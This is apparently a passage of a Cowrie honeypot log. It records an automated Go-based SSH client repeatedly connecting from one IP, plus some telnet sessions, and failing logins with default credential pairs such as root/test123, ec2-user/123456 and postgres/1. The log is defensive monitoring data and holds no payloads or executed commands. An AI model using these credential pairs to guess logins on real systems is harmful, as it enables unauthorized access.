openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:03:12.041121Z","src_ip":"95.38.165.118","session":"06b296e0d4b2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"test123","message":"login attempt [root/test123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:03:15.708193Z","src_ip":"95.38.165.118","session":"06b296e0d4b2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"95.38.165.118","src_port":53266,"dst_ip":"10.17.0.5","dst_port":22,"session":"5239174cabf4","protocol":"ssh","message":"New connection: 95.38.165.118:53266 (10.17.0.5:22) [session: 5239174cabf4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:03:15.980960Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:03:15.992883Z","src_ip":"95.38.165.118","session":"5239174cabf4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:03:16.180484Z","src_ip":"95.38.165.118","session":"5239174cabf4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"trinity","password":"trinity","message":"login attempt [trinity/trinity] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:03:16.808287Z","src_ip":"95.38.165.118","session":"5239174cabf4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:03:17.971416Z","src_ip":"95.38.165.118","session":"5239174cabf4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.6","message":"Connection lost after 6.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:03:18.372512Z","src_ip":"95.38.165.118","session":"06b296e0d4b2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"95.38.165.118","src_port":53282,"dst_ip":"10.17.0.5","dst_port":22,"session":"9144dbb72720","protocol":"ssh","message":"New connection: 95.38.165.118:53282 (10.17.0.5:22) [session: 9144dbb72720]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:03:20.966890Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:03:20.975626Z","src_ip":"95.38.165.118","session":"9144dbb72720","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:03:21.138242Z","src_ip":"95.38.165.118","session":"9144dbb72720","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ts","password":"ts","message":"login attempt [ts/ts] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:03:23.551538Z","src_ip":"95.38.165.118","session":"9144dbb72720","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":37890,"dst_ip":"159.203.135.109","dst_port":23,"session":"04f0db8dc632","protocol":"telnet","message":"New connection: 69.4.83.194:37890 (159.203.135.109:23) [session: 04f0db8dc632]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:03:25.840406Z"}
{"eventid":"cowrie.session.closed","duration":"4.9","message":"Connection lost after 4.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:03:25.902718Z","src_ip":"95.38.165.118","session":"9144dbb72720","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"95.38.165.118","src_port":57372,"dst_ip":"10.17.0.5","dst_port":22,"session":"e57d52961842","protocol":"ssh","message":"New connection: 95.38.165.118:57372 (10.17.0.5:22) [session: e57d52961842]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:03:26.389715Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:03:26.393271Z","src_ip":"95.38.165.118","session":"e57d52961842","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:03:26.566517Z","src_ip":"95.38.165.118","session":"e57d52961842","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"apache","password":"apache","message":"login attempt [apache/apache] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:03:27.079488Z","src_ip":"95.38.165.118","session":"e57d52961842","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.96799421310425,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:03:28.559812Z","src_ip":"69.4.83.194","session":"90367955015e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"3.6","message":"Connection lost after 3.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:03:29.952865Z","src_ip":"95.38.165.118","session":"e57d52961842","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"95.38.165.118","src_port":57388,"dst_ip":"10.17.0.5","dst_port":22,"session":"75d40ce5288b","protocol":"ssh","message":"New connection: 95.38.165.118:57388 (10.17.0.5:22) [session: 75d40ce5288b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:03:33.570658Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:03:33.575087Z","src_ip":"95.38.165.118","session":"75d40ce5288b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:03:33.746632Z","src_ip":"95.38.165.118","session":"75d40ce5288b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ec2-user","password":"123456","message":"login attempt [ec2-user/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:03:34.733283Z","src_ip":"95.38.165.118","session":"75d40ce5288b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:03:35.906848Z","src_ip":"95.38.165.118","session":"75d40ce5288b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"95.38.165.118","src_port":56108,"dst_ip":"10.17.0.5","dst_port":22,"session":"13e3ebe055ea","protocol":"ssh","message":"New connection: 95.38.165.118:56108 (10.17.0.5:22) [session: 13e3ebe055ea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:03:36.194015Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:03:36.262666Z","src_ip":"95.38.165.118","session":"13e3ebe055ea","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:03:36.436413Z","src_ip":"95.38.165.118","session":"13e3ebe055ea","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":42094,"dst_ip":"159.203.135.109","dst_port":23,"session":"bc108e53e600","protocol":"telnet","message":"New connection: 69.4.83.194:42094 (159.203.135.109:23) [session: bc108e53e600]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:03:36.473742Z"}
{"eventid":"cowrie.session.connect","src_ip":"95.38.165.118","src_port":56110,"dst_ip":"10.17.0.5","dst_port":22,"session":"63132e888ca3","protocol":"ssh","message":"New connection: 95.38.165.118:56110 (10.17.0.5:22) [session: 63132e888ca3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:03:41.600224Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:03:41.735489Z","src_ip":"95.38.165.118","session":"63132e888ca3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:03:41.858920Z","src_ip":"95.38.165.118","session":"63132e888ca3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"minecraft","password":"password","message":"login attempt [minecraft/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:03:42.734616Z","src_ip":"95.38.165.118","session":"63132e888ca3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:03:44.309317Z","src_ip":"95.38.165.118","session":"63132e888ca3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"95.38.165.118","src_port":34144,"dst_ip":"10.17.0.5","dst_port":22,"session":"dd6de70e26e9","protocol":"ssh","message":"New connection: 95.38.165.118:34144 (10.17.0.5:22) [session: dd6de70e26e9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:03:46.808927Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:03:46.813358Z","src_ip":"95.38.165.118","session":"dd6de70e26e9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:03:46.976980Z","src_ip":"95.38.165.118","session":"dd6de70e26e9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mysql","password":"mysql123","message":"login attempt [mysql/mysql123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:03:48.518201Z","src_ip":"95.38.165.118","session":"dd6de70e26e9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.1","message":"Connection lost after 3.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:03:49.925354Z","src_ip":"95.38.165.118","session":"dd6de70e26e9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"95.38.165.118","src_port":34154,"dst_ip":"10.17.0.5","dst_port":22,"session":"df7e199172e4","protocol":"ssh","message":"New connection: 95.38.165.118:34154 (10.17.0.5:22) [session: df7e199172e4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:03:51.981093Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:03:51.985965Z","src_ip":"95.38.165.118","session":"df7e199172e4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:03:52.160710Z","src_ip":"95.38.165.118","session":"df7e199172e4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"1","message":"login attempt [postgres/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:03:53.168681Z","src_ip":"95.38.165.118","session":"df7e199172e4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.8","message":"Connection lost after 2.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:03:54.792188Z","src_ip":"95.38.165.118","session":"df7e199172e4","protocol":"ssh"}
